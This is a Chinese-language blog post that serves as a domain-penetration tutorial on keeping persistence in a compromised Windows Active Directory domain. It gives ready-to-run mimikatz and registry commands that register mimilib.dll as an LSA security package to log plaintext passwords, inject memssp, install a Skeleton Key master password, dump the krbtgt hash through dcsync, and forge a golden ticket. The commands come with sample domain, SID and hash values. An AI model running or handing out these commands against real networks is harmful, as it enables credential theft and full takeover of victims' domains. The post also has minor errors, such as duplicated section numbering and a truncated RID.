【域渗透】域权限维持

一、ssp密码记录

ssp(security Support Provider),一个用于身份验证的 dll,系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当 前系统的明文账号密码的 dll, 利用mimikatz 中mimilib.dll 文件。

把 mimikatz 中的 mimilib.dll 传到目标域控的 c:\windows\system32\目录下

copy mimilib.dll %systemroot%\system32

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" 

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ 

  重启成功,如果有用户成功登录到当前系统中,会在 c:\windows\system32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件

 

(2)利用方式二 ,利用进程注入,无需重启立即开启密码记录,重启则计算机失效

mimikatz privilege::debug

mimikatz misc::memssp

type C:\Windows\System32\mimilsa.log 

二、Skeleton Key

Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003—Windows Server2012 R2,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。

mimikaz执行命令:privilege::debug、misc::skeleton

mimikatz的默认Skeleton Key设置为mimikatz(坑点:使用主机名链接)

net use \\WIN-6HQC11EJBDP.yiwang.com\c$ /user:"yiwang\administrator" "mimikatz"

 二.Hook PasswordChangeNotify

Hook PasswordChangeNotify 拦截修改的帐户密码,当修改域控密码时,LSA 首先会去调用 PasswordFileter 来判断新密码是否符合密码复杂度要求,如果符合,LSA 则会接着去调用 PasswordChangeNotify 在系统上同步更新密码,而函数 PasswordChangeNotify 存在于 rassfm.dll,rassfm.dll可理解为Remote Access Subauthentication dll,只存在于在Server系统下,xp、win7、win8等均不存在。

三.黄金票据

域内的一台机器向某一台服务器发起请求,请求首先会发被发送到kdc(域控)主机进行as认证,认证成功回返回tgt给客户机,然后客户机会接着拿这个tgt去向kdc中的tgs去请求,最后获取ticket,TGT是根据指定的 user[域内用户],domain[域名],timestamp[时间戳],外加一系列权限信息经过 krbtgt 这个域账户的 ntlm hash 加密后的结果,所以我们只要获取到相应的域用户名,域名,域 SID,以及 krbtgt 账户的 ntlm hash 就可以生成"黄金票据",因为可以拿着 krbtgt ntlm  hash 或者 aes key 伪造域内任意用户 TGT,就可以完整访问域内的任意机器。

域管权限下导出域内所有域用户的 ntlm hash 

mimikatz lsadump::dcsync /domain:yiwang/all /csv 

图.jpg

导出指定域用户的 ntlm hash 和 aes key,krbtgt 

mimikatz lsadump::dcsync /domain:yiwang.com /user:krbtgt

当前域的域名 yiwang.com

当前域的 sid S-1-5-21-1650053798-3901349794-3227671014-500  whoami /user

Krbtgt 的 ntlm hash 或者对应的 aes key 1a22505e768e7c590b3923a4f3a31502

指定域用户,通常情况下直接写 administrator 即可 administrator 指定域用户

rid,一般直接写 500 即可 50

mimikatz kerberos::golden /admin:administrator /domain:yiwang.com /id:500 /sid:S-1-5-21-1650053798-3901349794-3227671014-500 /krbtgt:1a22505e768e7c590b3923a4f3a31502 /ptt

访问域控dir \\dc$ (DC主机名)\c$ 一定得主机名

posted @ 2019-11-06 13:31  aoaoaoao  阅读(1031)  评论(0编辑  收藏  举报